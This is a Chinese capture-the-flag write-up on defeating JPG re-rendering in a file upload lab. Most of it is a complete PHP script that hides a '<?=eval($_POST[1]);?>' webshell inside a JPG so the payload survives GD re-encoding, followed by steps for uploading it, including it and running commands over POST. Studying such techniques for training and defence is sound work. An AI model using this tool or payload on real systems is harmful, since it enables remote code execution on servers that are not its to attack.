1. 与上题一样,但是是jpg图片二次渲染,这里有很多玄学的问题,参考了多个师傅的文章,放在了本文末尾
    2. 因为自己选的jpg图片就没成功,很玄学,最后使用了国光师傅的jpg文件和教程,这里贴出来
      1.jpg
    3. 先将本图片进行上传,让服务器端进行二次渲染,把渲染之后的图片重新下载下来,保存为download.php.jpg图片,当然你也可以命名为其他的,为什么要先上传渲染一遍,因为玄学…
    4. 这里附上jpg二次渲染绕过的脚本
      ```php <?php $miniPayload = ‘<?=eval($_POST[1]);?>’;
    1. if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    2. die('php-gd is not installed');
    3. }
    4. if(!isset($argv[1])) {
    5. die('php jpg_payload.php <jpg_name.jpg>');
    6. }
    7. set_error_handler("custom_error_handler");
    8. for($pad = 0; $pad < 1024; $pad++) {
    9. $nullbytePayloadSize = $pad;
    10. $dis = new DataInputStream($argv[1]);
    11. $outStream = file_get_contents($argv[1]);
    12. $extraBytes = 0;
    13. $correctImage = TRUE;
    14. if($dis->readShort() != 0xFFD8) {
    15. die('Incorrect SOI marker');
    16. }
    17. while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    18. $marker = $dis->readByte();
    19. $size = $dis->readShort() - 2;
    20. $dis->skip($size);
    21. if($marker === 0xDA) {
    22. $startPos = $dis->seek();
    23. $outStreamTmp =
    24. substr($outStream, 0, $startPos) .
    25. $miniPayload .
    26. str_repeat("\0",$nullbytePayloadSize) .
    27. substr($outStream, $startPos);
    28. checkImage('_'.$argv[1], $outStreamTmp, TRUE);
    29. if($extraBytes !== 0) {
    30. while((!$dis->eof())) {
    31. if($dis->readByte() === 0xFF) {
    32. if($dis->readByte !== 0x00) {
    33. break;
    34. }
    35. }
    36. }
    37. $stopPos = $dis->seek() - 2;
    38. $imageStreamSize = $stopPos - $startPos;
    39. $outStream =
    40. substr($outStream, 0, $startPos) .
    41. $miniPayload .
    42. substr(
    43. str_repeat("\0",$nullbytePayloadSize).
    44. substr($outStream, $startPos, $imageStreamSize),
    45. 0,
    46. $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
    47. substr($outStream, $stopPos);
    48. } elseif($correctImage) {
    49. $outStream = $outStreamTmp;
    50. } else {
    51. break;
    52. }
    53. if(checkImage('payload_'.$argv[1], $outStream)) {
    54. die('Success!');
    55. } else {
    56. break;
    57. }
    58. }
    59. }
    60. }
    61. unlink('payload_'.$argv[1]);
    62. die('Something\'s wrong');
    63. function checkImage($filename, $data, $unlink = FALSE) {
    64. global $correctImage;
    65. file_put_contents($filename, $data);
    66. $correctImage = TRUE;
    67. imagecreatefromjpeg($filename);
    68. if($unlink)
    69. unlink($filename);
    70. return $correctImage;
    71. }
    72. function custom_error_handler($errno, $errstr, $errfile, $errline) {
    73. global $extraBytes, $correctImage;
    74. $correctImage = FALSE;
    75. if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
    76. if(isset($m[1])) {
    77. $extraBytes = (int)$m[1];
    78. }
    79. }
    80. }
    81. class DataInputStream {
    82. private $binData;
    83. private $order;
    84. private $size;
    85. public function __construct($filename, $order = false, $fromString = false) {
    86. $this->binData = '';
    87. $this->order = $order;
    88. if(!$fromString) {
    89. if(!file_exists($filename) || !is_file($filename))
    90. die('File not exists ['.$filename.']');
    91. $this->binData = file_get_contents($filename);
    92. } else {
    93. $this->binData = $filename;
    94. }
    95. $this->size = strlen($this->binData);
    96. }
    97. public function seek() {
    98. return ($this->size - strlen($this->binData));
    99. }
    100. public function skip($skip) {
    101. $this->binData = substr($this->binData, $skip);
    102. }
    103. public function readByte() {
    104. if($this->eof()) {
    105. die('End Of File');
    106. }
    107. $byte = substr($this->binData, 0, 1);
    108. $this->binData = substr($this->binData, 1);
    109. return ord($byte);
    110. }
    111. public function readShort() {
    112. if(strlen($this->binData) < 2) {
    113. die('End Of File');
    114. }
    115. $short = substr($this->binData, 0, 2);
    116. $this->binData = substr($this->binData, 2);
    117. if($this->order) {
    118. $short = (ord($short[1]) << 8) + ord($short[0]);
    119. } else {
    120. $short = (ord($short[0]) << 8) + ord($short[1]);
    121. }
    122. return $short;
    123. }
    124. public function eof() {
    125. return !$this->binData||(strlen($this->binData) === 0);
    126. }
    127. }

    ?>

    
    5.  `payload`可以自己更改,将服务器下载好的图片与php脚本放在一起,利用命令行,生成payload图片  
    ```shell
    php jpg_payload.php download.php.jpg
    
    1. 然后进行上传图片,访问文件包含图片地址,抓包,post数据,命令执行
      image-20210721150545885.png

    参考文章:

    国光-国光的文件上传靶场知识总结

    南方师傅-web165

    二次渲染绕过